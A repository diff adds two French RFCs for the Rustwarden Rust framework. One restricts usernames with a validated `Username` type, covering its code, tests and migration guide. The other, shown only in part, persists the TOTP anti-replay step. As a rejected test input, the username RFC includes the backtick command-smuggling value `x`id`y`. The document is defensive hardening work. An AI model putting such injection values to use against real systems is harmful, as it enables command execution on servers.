@@ -0,0 +1,364 @@
| 1 | +# RFC 0036 — Validation charset `username` (newtype `Username`) | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / Rustwarden 1.0.1) | |
| 4 | +- **Date** : 2026-09-18 | |
| 5 | +- **Statut** : Accepted (2026-09-18) | |
| 6 | +- **Apps consommatrices concernées** : Gitrust (newtype local à retirer après Accept + impl) ; tout consommateur qui appelle `UserService::create_user` / `update_profile` ou `POST /api/v1/auth/register` | |
| 7 | +- **Crate cible** : `rustwarden-core` | |
| 8 | +- **Origine** : constat M-1 du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 13) | |
| 9 | + | |
| 10 | +## Summary | |
| 11 | + | |
| 12 | +Introduire un newtype `Username` calqué sur [`TeamSlug`](../../crates/rustwarden-core/src/types/team_slug.rs) (`parse` → `Result<Self, AppError>`) et l’appliquer aux frontières d’écriture (`UserService::create_user`, `UserService::update_profile`, `RegisterRequest`) pour n’accepter que des identifiants GitHub-like (`^[a-z0-9-]{3,39}$`, pas de `--`, pas de `-` en tête/queue, pas de majuscule, liste réservée). Les comptes existants hors charset restent loggables : aucun `CHECK` SQL, aucun rewrite. | |
| 13 | + | |
| 14 | +## Motivation | |
| 15 | + | |
| 16 | +### Problème concret (audit M-1) | |
| 17 | + | |
| 18 | +Aujourd’hui un username n’est borné que par la **longueur** : | |
| 19 | + | |
| 20 | +- [`RegisterRequest`](../../crates/rustwarden-core/src/auth/handlers.rs) : `#[validate(length(min = 3, max = 64))]` — aucun charset. | |
| 21 | +- [`UserService::create_user`](../../crates/rustwarden-core/src/services/user_service.rs) : insert SeaORM **sans** parse (la longueur n’est même pas re-vérifiée). | |
| 22 | +- [`UserService::update_profile`](../../crates/rustwarden-core/src/services/user_service.rs) : uniquement `len() < 3` (et unicité). Pas de max, pas de charset. | |
| 23 | + | |
| 24 | +Conséquence : un client peut créer `Admin`, `` x`id`y ``, `alice--bob`, `-root`, ou un handle de 64 caractères. Ces valeurs fuient ensuite dans les URLs ActivityPub (`GET /users/{username}`), les logs, les e-mails et les chemins consommateurs (forge). PostgreSQL `UNIQUE` sur `users.username` est **sensible à la casse** : `Alice` et `alice` sont deux comptes. | |
| 25 | + | |
| 26 | +### Qui est impacté | |
| 27 | + | |
| 28 | +- **Gitrust** maintient déjà un newtype local `Username` pour se protéger ; tant que le framework n’en a pas, chaque consommateur réimplémente (ou n’implémente pas) des règles divergentes. | |
| 29 | +- Tout appelant de `UserService::create_user` : register HTTP, admin UI (`rustwarden-ui`), `ensure_default_admin`, OAuth (`generate_unique_username`), `seed`, tests de services. | |
| 30 | +- Les utilisateurs qui se **renomment** via `PUT /settings/profile` (`update_profile`). | |
| 31 | + | |
| 32 | +### Si on ne fait rien | |
| 33 | + | |
| 34 | +Gitrust conserve son newtype à vie (alternative C). Les autres apps restent ouvertes à l’injection de charset (backticks, collision de casse, usurpation de segments d’URL). Le framework documente encore `john_doe` (underscore) dans la rustdoc de `register` alors que Gitrust refuse déjà ce motif. | |
| 35 | + | |
| 36 | +### Urgence | |
| 37 | + | |
| 38 | +Pas un patch `1.0.1` : le plan Option A isole le charset en RFC pour ne pas casser les comptes existants ni livrer un rewrite. Bloquant pour retirer le newtype Gitrust après Accept + impl. Pas d’incident production unique ; durcissement de politique d’identité (critère RFC obligatoire : changement de politique de sécurité + nouvel item `pub`). | |
| 39 | + | |
| 40 | +## Non-goals | |
| 41 | + | |
| 42 | +- **Pas de migration SQL** qui réécrit `users.username` existants, ni de `CHECK` sur la colonne. | |
| 43 | +- **Pas de patch 1.0.1** : ce document est Draft ; l’implémentation commence seulement après `Accepted`. | |
| 44 | +- **Pas de charset e-mail** (RFC 0038 pour le changement d’e-mail / revalidation). | |
| 45 | +- **Pas de fold silencieux** `to_ascii_lowercase` : `Alice` est rejeté, pas normalisé en `alice`. | |
| 46 | +- **Pas de validation au login** (`AuthService::authenticate_user`, `get_user_by_username`) : un compte grandfathered doit encore s’authentifier. | |
| 47 | +- **Pas de changement de signature** de `create_user` / `update_profile` (restent `String`) : le parse est interne. | |
| 48 | +- **Pas de newtype sur les lectures** (`user::Model.username` reste `String`). | |
| 49 | +- **Pas de réserve de `robots.txt`** : ce n’est pas un username (le point `.` est hors charset). | |
| 50 | + | |
| 51 | +## API proposée | |
| 52 | + | |
| 53 | +Nouveau fichier `crates/rustwarden-core/src/types/username.rs`, exporté comme `TeamSlug` (`types/mod.rs` + `prelude`). | |
| 54 | + | |
| 55 | +Règles de `Username::parse` (après `trim`, **sans** fold de casse) : | |
| 56 | + | |
| 57 | +| Règle | Accepté | Rejeté | | |
| 58 | +|---|---|---| | |
| 59 | +| Longueur | 3–39 | `ab`, 40+ caractères, vide / blancs seuls | | |
| 60 | +| Charset | `[a-z0-9-]` | majuscule (`Alice`), `_`, `.`, espace, backtick | | |
| 61 | +| Hyphen | `squad-42` | `-alice`, `alice-`, `alice--bob` | | |
| 62 | +| Réservés | — | `team_slug::RESERVED` **plus** `me`, `explore` | | |
| 63 | + | |
| 64 | +`robots.txt` échoue sur le charset (`.`), pas sur la liste réservée. | |
| 65 | + | |
| 66 | +Liste réservée actuelle de [`team_slug::RESERVED`](../../crates/rustwarden-core/src/types/team_slug.rs) (constante de module, pas un associated const `TeamSlug::RESERVED`) : | |
| 67 | + | |
| 68 | +`admin`, `api`, `auth`, `health`, `login`, `logout`, `new`, `oauth`, `register`, `settings`, `signin`, `signout`, `signup`, `static`, `teams`. | |
| 69 | + | |
| 70 | +À l’implémentation : tester `team_slug::RESERVED.contains(&s)` **puis** `["me", "explore"]`, pour ne pas dupliquer le tableau (risque de drift). Voir Open questions pour le conflit `admin` / `ADMIN_USERNAME`. | |
| 71 | + | |
| 72 | +### Newtype | |
| 73 | + | |
| 74 | +```rust | |
| 75 | +// crates/rustwarden-core/src/types/username.rs | |
| 76 | +use crate::error::AppError; | |
| 77 | +use crate::types::team_slug; | |
| 78 | + | |
| 79 | +/// Extra reserved logins on top of [`team_slug::RESERVED`]. | |
| 80 | +pub const EXTRA_RESERVED: &[&str] = &["me", "explore"]; | |
| 81 | + | |
| 82 | +/// Validated local username. Construct only via [`Username::parse`]. | |
| 83 | +#[derive(Debug, Clone, Eq, PartialEq, Hash, serde::Serialize, serde::Deserialize)] | |
| 84 | +#[serde(transparent)] | |
| 85 | +pub struct Username(String); | |
| 86 | + | |
| 87 | +impl Username { | |
| 88 | + /// Parse a raw string into a `Username`. | |
| 89 | + /// | |
| 90 | + /// Trims ASCII/Unicode whitespace, then enforces charset and reserved | |
| 91 | + /// names. Uppercase is rejected (no silent fold) so `Alice` and `alice` | |
| 92 | + /// cannot collide. Returns [`AppError::Validation`] (HTTP 400). | |
| 93 | + pub fn parse(raw: &str) -> Result<Self, AppError> { | |
| 94 | + let s = raw.trim(); | |
| 95 | + if s.len() < 3 || s.len() > 39 { | |
| 96 | + return Err(AppError::Validation( | |
| 97 | + "Username must be 3-39 characters".into(), | |
| 98 | + )); | |
| 99 | + } | |
| 100 | + if s.starts_with('-') || s.ends_with('-') { | |
| 101 | + return Err(AppError::Validation( | |
| 102 | + "Username cannot start or end with '-'".into(), | |
| 103 | + )); | |
| 104 | + } | |
| 105 | + if s.contains("--") { | |
| 106 | + return Err(AppError::Validation( | |
| 107 | + "Username cannot contain consecutive '-'".into(), | |
| 108 | + )); | |
| 109 | + } | |
| 110 | + if !s | |
| 111 | + .chars() | |
| 112 | + .all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '-') | |
| 113 | + { | |
| 114 | + return Err(AppError::Validation( | |
| 115 | + "Username must only contain lowercase letters, digits, and '-'".into(), | |
| 116 | + )); | |
| 117 | + } | |
| 118 | + if team_slug::RESERVED.contains(&s) || EXTRA_RESERVED.contains(&s) { | |
| 119 | + return Err(AppError::Validation(format!("Username '{s}' is reserved"))); | |
| 120 | + } | |
| 121 | + Ok(Self(s.to_string())) | |
| 122 | + } | |
| 123 | + | |
| 124 | + /// Return the username as a string slice. | |
| 125 | + pub fn as_str(&self) -> &str { | |
| 126 | + &self.0 | |
| 127 | + } | |
| 128 | + | |
| 129 | + /// Consume the `Username` and return the inner `String`. | |
| 130 | + pub fn into_inner(self) -> String { | |
| 131 | + self.0 | |
| 132 | + } | |
| 133 | +} | |
| 134 | + | |
| 135 | +impl std::fmt::Display for Username { | |
| 136 | + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { | |
| 137 | + f.write_str(&self.0) | |
| 138 | + } | |
| 139 | +} | |
| 140 | +``` | |
| 141 | + | |
| 142 | +Les snippets ci-dessus sont **proposés** (Draft) : ils ne compilent pas tant que le type n’est pas livré. Ils reprennent le patron réel de `TeamSlug::parse` / `as_str` / `into_inner` (vérifié : 8 tests `types::team_slug` verts). | |
| 143 | + | |
| 144 | +### Frontières d’écriture (signatures actuelles, inchangées) | |
| 145 | + | |
| 146 | +Signatures **aujourd’hui** (à conserver) : | |
| 147 | + | |
| 148 | +```rust | |
| 149 | +// crates/rustwarden-core/src/services/user_service.rs | |
| 150 | +impl UserService { | |
| 151 | + pub async fn create_user( | |
| 152 | + db: &DatabaseConnection, | |
| 153 | + username: String, | |
| 154 | + email: String, | |
| 155 | + password_hash: String, | |
| 156 | + must_change_password: bool, | |
| 157 | + ) -> Result<user::Model, AppError> { /* ... */ } | |
| 158 | + | |
| 159 | + pub async fn update_profile( | |
| 160 | + db: &DatabaseConnection, | |
| 161 | + user_id: Uuid, | |
| 162 | + username: Option<String>, | |
| 163 | + email: Option<String>, | |
| 164 | + ) -> Result<user::Model, AppError> { /* ... */ } | |
| 165 | +} | |
| 166 | + | |
| 167 | +// crates/rustwarden-core/src/auth/handlers.rs | |
| 168 | +#[derive(Debug, Deserialize, Validate)] | |
| 169 | +pub struct RegisterRequest { | |
| 170 | + /// Desired login name (3–39 characters after this RFC; currently 3–64). | |
| 171 | + #[validate(length(min = 3, max = 39))] | |
| 172 | + pub username: String, | |
| 173 | + #[validate(email)] | |
| 174 | + pub email: String, | |
| 175 | + #[validate(length(min = 8))] | |
| 176 | + pub password: String, | |
| 177 | +} | |
| 178 | +``` | |
| 179 | + | |
| 180 | +Comportement **après Accept** : | |
| 181 | + | |
| 182 | +1. `create_user` appelle `Username::parse(&username)?` **avant** l’`insert`. Le `String` persisté est `parse(...).into_inner()` (déjà trimé). | |
| 183 | +2. `update_profile` appelle `Username::parse` **seulement** si `username` est `Some` **et** différent du username courant (rename). Un update e-mail seul (`username: None`) ne touche pas le charset — grandfathering. Si le client renvoie le même username hors charset (formulaire profil), ne pas échouer : ce n’est pas un rename. | |
| 184 | +3. `register` garde `payload.validate()` (longueur) **et** `Username::parse(&payload.username)?` avant `create_user` (défense en profondeur ; `create_user` reste la porte unique même si un autre handler bypasse `RegisterRequest`). | |
| 185 | + | |
| 186 | +### Usage consommateur | |
| 187 | + | |
| 188 | +```rust | |
| 189 | +use rustwarden_core::error::AppError; | |
| 190 | +use rustwarden_core::types::Username; | |
| 191 | + | |
| 192 | +fn accept_login_name(raw: &str) -> Result<String, AppError> { | |
| 193 | + Ok(Username::parse(raw)?.into_inner()) | |
| 194 | +} | |
| 195 | + | |
| 196 | +async fn create_via_service( | |
| 197 | + db: &sea_orm::DatabaseConnection, | |
| 198 | +) -> Result<(), AppError> { | |
| 199 | + // create_user still takes String; invalid values now return AppError::Validation. | |
| 200 | + let _user = rustwarden_core::services::user_service::UserService::create_user( | |
| 201 | + db, | |
| 202 | + "alice".into(), | |
| 203 | + "alice@example.com".into(), | |
| 204 | + hashed_password(), | |
| 205 | + false, | |
| 206 | + ) | |
| 207 | + .await?; | |
| 208 | + Ok(()) | |
| 209 | +} | |
| 210 | + | |
| 211 | +fn hashed_password() -> String { | |
| 212 | + unimplemented!("placeholder for the RFC usage sketch") | |
| 213 | +} | |
| 214 | +``` | |
| 215 | + | |
| 216 | +`hashed_password()` est un placeholder de documentation : ne pas copier en production. | |
| 217 | + | |
| 218 | +### Call sites à adapter dans le **même** PR d’implémentation | |
| 219 | + | |
| 220 | +Sans changer leur API publique, ces chemins cassent si `create_user` parse et qu’ils produisent encore `_` / majuscules / `admin` : | |
| 221 | + | |
| 222 | +| Call site | Motif actuel | Action après Accept | | |
| 223 | +|---|---|---| | |
| 224 | +| [`OAuthService::generate_unique_username`](../../crates/rustwarden-core/src/services/oauth/service.rs) | filtre `alphanumeric \|\| '_'` , pas de lowercase | émettre un candidat qui passe `Username::parse` (hyphen, minuscule, ≤ 39) | | |
| 225 | +| [`AdminConfig::validate`](../../crates/rustwarden-core/src/config/admin.rs) | 3–64, `[A-Za-z0-9_-]` | déléguer à `Username::parse` (voir Open questions `admin`) | | |
| 226 | +| [`ensure_default_admin`](../../crates/rustwarden-core/src/services/default_admin_service.rs) | `create_user(config.username)` défaut `"admin"` | `"admin"` est dans `team_slug::RESERVED` | | |
| 227 | +| rustdoc `register` / JWT examples | `john_doe` | remplacer par `john-doe` / `alice` | | |
| 228 | + | |
| 229 | +`seed.rs` (`richie`, `fonzie`, …) et les tests qui créent `alice` restent valides. | |
| 230 | + | |
| 231 | +## Analyse de compatibilité | |
| 232 | + | |
| 233 | +Checklist : | |
| 234 | + | |
| 235 | +- [ ] API existante non modifiée → **non-breaking** (patch/minor possible). | |
| 236 | +- [x] API existante étendue avec défaut → **non-breaking** (minor) — *ajout* de `Username` + re-export prelude. | |
| 237 | +- [x] API existante modifiée ou supprimée → **breaking comportemental** (payloads create/register/rename autrefois `200`/`201` → `400`). Signatures `create_user` / `update_profile` / `RegisterRequest.username: String` **inchangées**. SemVer processus §1 : un changement de comportement par défaut est breaking même si ça compile ; à trancher major vs minor Security (Open questions). | |
| 238 | +- [x] Nouveau comportement par défaut → create / rename / register refusent charset hors GitHub-like. Login inchangé. | |
| 239 | +- [ ] Changement de schéma DB → **non** : pas de `CHECK`, pas de rewrite. Grandfathering volontaire. | |
| 240 | +- [x] Changement de format sérialisé → JSON register/profil : la **valeur** acceptée est plus stricte (`max` 64 → 39, plus d’underscore). Pas de nouveau champ. | |
| 241 | + | |
| 242 | +Consommateurs : Gitrust pourra supprimer son newtype dupliqué après bump. Les apps qui créent `John_Doe` devront adapter. | |
| 243 | + | |
| 244 | +## Alternatives considérées | |
| 245 | + | |
| 246 | +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif. | |
| 247 | + | |
| 248 | +### Alternative A (recommandée) : newtype `Username` + `parse` aux frontières d’écriture | |
| 249 | + | |
| 250 | +**Pros** : une seule implémentation, impossible à contourner via `create_user` (admin UI, OAuth, seed, API). Patron déjà livré (`TeamSlug`). Gitrust retire sa copie. Trim OK, pas de fold → pas de collision `Alice`/`alice`. Grandfathering login préservé. | |
| 251 | + | |
| 252 | +**Cons** : breaking comportemental (underscore, majuscule, longueur > 39). `generate_unique_username` et le défaut `ADMIN_USERNAME=admin` doivent être traités dans le même PR. Charge de tests (batterie `TeamSlug` + reserved extra + backtick). | |
| 253 | + | |
| 254 | +### Alternative B : regex uniquement sur `RegisterRequest` | |
| 255 | + | |
| 256 | +**Pros** : diff minimal (`validator` + une regex). Pas de nouveau type public. | |
| 257 | + | |
| 258 | +**Cons** : `UserService::create_user` reste un trou (admin, OAuth, `ensure_default_admin`, apps qui n’utilisent pas `register`). Exactement le gap M-1. Deux couches (HTTP vs service) divergent. Gitrust ne peut pas supprimer son newtype. | |
| 259 | + | |
| 260 | +### Alternative C (ne rien faire / garder le workaround) : newtype Gitrust forever | |
| 261 | + | |
| 262 | +**Pros** : zéro coût, zéro risque upstream. Comptes exotiques restent créables pour les apps qui le veulent. | |
| 263 | + | |
| 264 | +**Cons** : dette et divergence entre consommateurs ; rustwarden-ui / register HTTP restent ouverts ; impersonation de casse et charset dangereux dans `/users/{username}`. Contredit l’audit M-1 et le processus « politique de sécurité → RFC puis implémentation partagée ». | |
| 265 | + | |
| 266 | +## Testing plan | |
| 267 | + | |
| 268 | +Tests unitaires obligatoires (copier la batterie [`team_slug.rs` tests](../../crates/rustwarden-core/src/types/team_slug.rs) vers ~L76, plus les règles username-only) : | |
| 269 | + | |
| 270 | +- Happy path : `Username::parse("alice")` et `"squad-42"` → `as_str()` identique ; trim `" alice "` → `"alice"`. | |
| 271 | +- Erreur 1 — input invalide charset : `` Username::parse("x`id`y") ``, `"john_doe"`, `"alice.bob"`, `"Alice"` (majuscule, **pas** de fold). | |
| 272 | +- Erreur 2 — contrainte violée forme : `""`, `"ab"` (< 3), 40 caractères, `"-alice"`, `"alice-"`, `"alice--bob"`. | |
| 273 | +- Erreur 3 — reserved : chaque entrée de `team_slug::RESERVED`, plus `me` et `explore`. `robots.txt` est `Err` via charset, pas besoin d’être dans `EXTRA_RESERVED`. | |
| 274 | + | |
| 275 | +Tests d’intégration (service / DB) : | |
| 276 | + | |
| 277 | +- `create_user` refuse `` x`id`y `` avant insert (`AppError::Validation`) ; aucun row `users`. | |
| 278 | +- `create_user("alice")` happy path (MockDatabase ou DB de test existante). | |
| 279 | +- Grandfather : un user déjà en base avec username hors charset **peut encore** être chargé par `get_user_by_username` ; `update_profile(..., username: None, email: Some(...))` réussit sans toucher le username. | |
| 280 | +- Rename : `update_profile` vers `Not-Valid` / `Admin` → `Validation` ; vers `bob` unique → OK. | |
| 281 | + | |
| 282 | +Tests de non-régression : | |
| 283 | + | |
| 284 | +- Code consommateur pré-RFC **compile** (signatures inchangées). | |
| 285 | +- Login / JWT / refresh : pas d’appel à `Username::parse` sur le chemin lecture. | |
| 286 | + | |
| 287 | +Doctests : | |
| 288 | + | |
| 289 | +- Au moins un exemple copie/collable sur `Username::parse` (`alice` OK, `Alice` `is_err()`), exécuté comme doctest. | |
| 290 | + | |
| 291 | +Benchs : non (parse CPU-bound trivial, hors hot path auth bcrypt/JWT). Pas de seuil 10 %. | |
| 292 | + | |
| 293 | +Baseline vérifiée pour cette RFC Draft : `cargo test -p rustwarden-core types::team_slug --lib` → **8 passed**. Les exemples `Username::` ne sont **pas** exécutables avant l’implémentation. | |
| 294 | + | |
| 295 | +## Migration guide | |
| 296 | + | |
| 297 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. | |
| 298 | + | |
| 299 | +```markdown | |
| 300 | +### API changes | |
| 301 | + | |
| 302 | +**Before (v1.0.x)** : | |
| 303 | +`UserService::create_user` / `RegisterRequest` acceptaient tout `String` de 3–64 | |
| 304 | +caractères (underscores, majuscules, backticks). `update_profile` ne vérifiait | |
| 305 | +que `len() >= 3`. | |
| 306 | + | |
| 307 | +**After (vX.Y.Z)** : | |
| 308 | +Nouveau type public `rustwarden_core::types::Username`. | |
| 309 | +`create_user`, `update_profile` (rename) et `POST /api/v1/auth/register` | |
| 310 | +appellent `Username::parse` : `^[a-z0-9-]{3,39}$`, pas de `--`, pas de `-` | |
| 311 | +en tête/queue, pas de majuscule (pas de fold), noms réservés | |
| 312 | +(`team_slug::RESERVED` + `me` + `explore`). | |
| 313 | +Les comptes déjà en base hors charset restent valides au login. | |
| 314 | +Pas de `CHECK` SQL. | |
| 315 | + | |
| 316 | +```rust | |
| 317 | +// Optional explicit parse in a consumer handler | |
| 318 | +let username = rustwarden_core::types::Username::parse(&raw)?.into_inner(); | |
| 319 | +UserService::create_user(db, username, email, hash, false).await?; | |
| 320 | +``` | |
| 321 | + | |
| 322 | +### Migration steps | |
| 323 | + | |
| 324 | +1. Bump `rustwarden-core` à la version qui livre RFC 0036. | |
| 325 | +2. Auditer les usernames **créés par l’app** (fixtures, OAuth, CLI, seeds) : | |
| 326 | + remplacer `_` par `-`, lowercaser, tronquer à 39, éviter `admin` / `me` / `explore`. | |
| 327 | +3. Gitrust : supprimer le newtype local `Username` au profit de | |
| 328 | + `rustwarden_core::types::Username` (`update-project` / bump path). | |
| 329 | +4. Ne **pas** lancer de rewrite SQL des comptes existants. | |
| 330 | +5. Vérifier `ADMIN_USERNAME` : la valeur par défaut `"admin"` est réservée | |
| 331 | + (voir RFC 0036 Open questions) — définir un login non réservé sur les | |
| 332 | + **nouvelles** installs. | |
| 333 | +``` | |
| 334 | + | |
| 335 | +## Open questions | |
| 336 | + | |
| 337 | +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus : | |
| 338 | + | |
| 339 | +- [x] **`ADMIN_USERNAME` défaut `"admin"` vs `team_slug::RESERVED`** : `ensure_default_admin` appelle `create_user("admin")`. Après parse, une install neuve échoue. Trancher : (1) garder `admin` réservé (anti-impersonation `/users/admin`, aligné GitHub) et exiger un `ADMIN_USERNAME` non réservé ; (2) retirer `admin` de la liste **username** tout en le gardant pour les slugs d’équipe ; (3) associated const distincte. Bloquant Accept. **Résolu (2026-09-18) : Option (1) durcie : `admin` reste réservé au register/rename publics ; le bootstrap `ensure_default_admin` passe par un chemin interne `pub(crate)` (parse avec charset strict mais noms réservés autorisés) ; `AdminConfig::validate` délègue à ce même chemin. Les installs par défaut (`ADMIN_USERNAME=admin`) continuent de fonctionner.** | |
| 340 | +- [x] **SemVer** : breaking comportemental sans changement de signature → major, ou minor `Security` documenté ? Le processus §1 penche major. **Résolu (2026-09-18) : 1.1.0 minor avec section `Security` au CHANGELOG (framework vendored, breaking comportemental documenté).** | |
| 341 | +- [x] **`update_profile` same-value** : confirmer le skip parse quand `Some(current)` (formulaires qui POST le username courant) pour ne pas bloquer un update e-mail d’un compte grandfathered. **Résolu (2026-09-18) : confirmé — skip du parse quand le username soumis est identique au username courant (pas un rename).** | |
| 342 | +- [x] **OAuth `generate_unique_username`** : dans le PR d’implémentation (recommandé) ou RFC séparée ? Sans alignement, le signup OAuth casse dès que `create_user` parse (`_` aujourd’hui). **Résolu (2026-09-18) : aligné dans le même PR d’implémentation (candidats lowercase, hyphens, ≤ 39, hors réservés).** | |
| 343 | +- [x] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. **Résolu (2026-09-18) : suivi interne via docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md, pas d’issue externe.** | |
| 344 | + | |
| 345 | +## Tracking issue | |
| 346 | + | |
| 347 | +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant l’audit M-1 et Gitrust comme premier consommateur. Pas d’URL tant que le Draft n’est pas soumis. | |
| 348 | + | |
| 349 | +--- | |
| 350 | + | |
| 351 | +## Score d'évaluation (rempli par les reviewers) | |
| 352 | + | |
| 353 | +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. | |
| 354 | + | |
| 355 | +| Critère | Note (1-5) | Commentaire | | |
| 356 | +|---|---|---| | |
| 357 | +| Généralité | 5 | Tout consommateur de `UserService::create_user` en bénéficie ; Gitrust retire un newtype local. | | |
| 358 | +| Stabilité API | 4 | Signatures inchangées, mais payloads autrefois 200/201 passent en 400 (underscore, casse, max 64→39). | | |
| 359 | +| Performance | 5 | Parse CPU trivial hors bcrypt/JWT ; aucun I/O, aucun bench requis. | | |
| 360 | +| Sécurité | 5 | Ferme M-1 (backticks, collision `Alice`/`alice`, usurpation de segments) sans casser le login grandfathered. | | |
| 361 | +| Complexité d'implémentation | 4 | Un fichier newtype + 3 call sites + OAuth/admin à aligner ; pas d’`unsafe`, pas de migration DB. | | |
| 362 | +| Charge de maintenance | 5 | Zéro nouvelle dépendance ; une liste réservée partagée avec `TeamSlug` (test de non-drift). | | |
| 363 | +| Documentation | 4 | Rustdoc + doctest + CHANGELOG + ce RFC ; examples rustdoc `john_doe` à corriger à l’impl. | | |
| 364 | +| **Total** | **32/35** | (≥ 25 pour Accepted) | |
A
docs/rfcs/0037-totp-last-used-step.md
+348
-0
@@ -0,0 +1,348 @@
| 1 | +# RFC 0037 — Persister l’anti-rejeu TOTP (`last_used_step`) | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / patch 1.0.1) | |
| 4 | +- **Date** : 2026-09-18 | |
| 5 | +- **Statut** : Accepted (2026-09-18) | |
| 6 | +- **Apps consommatrices concernées** : Gitrust (déploiements multi-réplicas) ; tout consommateur de `rustwarden-core` qui appelle `TotpService::verify_code` / `verify_and_enable` (API `POST /api/v1/auth/2fa/verify`, UI login 2FA, apps headless) | |
| 7 | +- **Crate cible** : `rustwarden-core` | |
| 8 | +- **Origine** : constat M-7 du plan [`docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md`](../plans/2026-09-17-securisation-upstream-audit-gitrust.md) (Task 14). RFC **obligatoire** : changement de schéma DB ([`RUSTWARDEN_EVOLUTION_PROCESS.md` §2](../RUSTWARDEN_EVOLUTION_PROCESS.md#2-quand-une-rfc-est-obligatoire)). | |
| 9 | + | |
| 10 | +## Summary | |
| 11 | + | |
| 12 | +Persister en base le garde anti-rejeu TOTP livré in-process en 1.0.1 (`matching_totp_step` + cache `OnceLock`) via une colonne `user_totp.last_used_step`, mise à jour par un `UPDATE` conditionnel SeaORM, pour que deux réplicas n’acceptent plus le même code. | |
| 13 | + | |
| 14 | +## Motivation | |
| 15 | + | |
| 16 | +### Problème concret (audit M-7) | |
| 17 | + | |
| 18 | +`totp-rs` avec pas de 30 s et skew ±1 accepte le **même** code pendant ~90 s. Le patch 1.0.1 ferme le rejeu **dans un processus** : | |
| 19 | + | |
| 20 | +- [`matching_totp_step`](../../crates/rustwarden-core/src/services/totp_service.rs) (`pub(crate)`, ~L34–62) : `TOTP::check` (skew ±1, `constant_time_eq`), puis identification du pas qui a **matché** parmi `t-1`, `t`, `t+1` (`unix_time / 30`). | |
| 21 | +- [`totp_replay_guard_accept`](../../crates/rustwarden-core/src/services/totp_service.rs) (~L67–84) : cache `OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>>`, TTL 90 s. Même `(user_id, step)` → `false` (sémantique identique à un code invalide, pas d’oracle). | |
| 22 | +- [`TotpService::verify_code`](../../crates/rustwarden-core/src/services/totp_service.rs) (~L249–268) : `matching_totp_step` puis le garde ; `Ok(false)` si rejeu. | |
| 23 | + | |
| 24 | +Ce cache **ne se partage pas** entre processus. Deux réplicas Gitrust (ou un rolling restart) acceptent le même code une fois chacun. `CHANGELOG.md` 1.0.1 le documente : *« Pas de migration `last_used_step` (RFC 0037) »*. | |
| 25 | + | |
| 26 | +### Quel step stocker | |
| 27 | + | |
| 28 | +Ne **pas** écrire `now / 30` en aveugle. Un code de la fenêtre précédente (`t-1`) serait accepté, `last_used_step` passerait à `t`, et un second code du pas courant pourrait encore passer — ou l’inverse. Il faut retenir le pas renvoyé par `matching_totp_step` (celui dont `totp.generate(step * 30) == code`). | |
| 29 | + | |
| 30 | +### Qui est impacté | |
| 31 | + | |
| 32 | +- Gitrust et tout déploiement `rustwarden-core` à **plus d’une** instance. | |
| 33 | +- Les utilisateurs 2FA : un code OTP déjà consommé reste invalide partout, pas seulement sur le réplica qui l’a vu. | |
| 34 | +- Les opérateurs : une migration SeaORM (`BIGINT NULL`) au bump qui livre cette RFC. | |
| 35 | + | |
| 36 | +### Si on ne fait rien | |
| 37 | + | |
| 38 | +Le garde 1.0.1 reste correct en instance unique. En multi-réplicas, M-7 reste ouvert. Gitrust devrait réimplémenter un store partagé (Redis, etc.) en divergence du framework. | |
| 39 | + | |
| 40 | +### Urgence | |
| 41 | + | |
| 42 | +Pas un patch 1.0.1 (migration). Bloquant pour les déploiements HA dès que 1.0.1 est en prod. Pas d’incident unique documenté ; durcissement authn (critère RFC : schéma DB). | |
| 43 | + | |
| 44 | +## Non-goals | |
| 45 | + | |
| 46 | +- **Pas de relais Evilginx live** : un MITM interactif présente le code **une seule fois** ; ni le garde in-process ni `last_used_step` ne l’arrêtent. | |
| 47 | +- **Pas de changement d’algorithme / digits / période / skew** : SHA1, 6 digits, 30 s, skew 1 (`TOTP::new` actuel). | |
| 48 | +- **Pas de backup codes** : déjà one-shot (`verify_backup_code` retire le hash consommé). | |
| 49 | +- **Pas de Redis / store externe** obligatoire : PostgreSQL (déjà la source de vérité `user_totp`) suffit. | |
| 50 | +- **Pas d’oracle** : rejeu et code faux renvoient tous les deux `Ok(false)` / `TotpFailed` selon le call site actuel — pas de 409 distinct. | |
| 51 | +- **Pas de `CHECK` SQL** sur la monotonie : la monotonie est garantie par le `WHERE` de l’`UPDATE`. | |
| 52 | +- **Pas de SQL brut applicatif** : SeaORM uniquement (`update_many` + filtres). La migration utilise `SchemaManager::alter_table`. | |
| 53 | + | |
| 54 | +## API proposée | |
| 55 | + | |
| 56 | +Aucun nouvel item `pub` obligatoire. Comportement de `TotpService::verify_code` (et `verify_and_enable`) enrichi. Schéma + modèle. | |
| 57 | + | |
| 58 | +### Schéma | |
| 59 | + | |
| 60 | +Migration `crates/rustwarden-core/src/migrations/m20260918_000010_totp_last_used_step.rs`, enregistrée dans [`migrations/mod.rs`](../../crates/rustwarden-core/src/migrations/mod.rs) (`pub mod` + `core_migrations()`). Prochain numéro après `m20260510_000009_fediverse_interop`. | |
| 61 | + | |
| 62 | +```rust | |
| 63 | +// crates/rustwarden-core/src/migrations/m20260918_000010_totp_last_used_step.rs | |
| 64 | +use sea_orm_migration::prelude::*; | |
| 65 | + | |
| 66 | +#[derive(DeriveMigrationName)] | |
| 67 | +pub struct Migration; | |
| 68 | + | |
| 69 | +#[async_trait::async_trait] | |
| 70 | +impl MigrationTrait for Migration { | |
| 71 | + async fn up(&self, manager: &SchemaManager) -> Result<(), DbErr> { | |
| 72 | + manager | |
| 73 | + .alter_table( | |
| 74 | + Table::alter() | |
| 75 | + .table(UserTotp::Table) | |
| 76 | + .add_column( | |
| 77 | + ColumnDef::new(UserTotp::LastUsedStep) | |
| 78 | + .big_integer() | |
| 79 | + .null(), | |
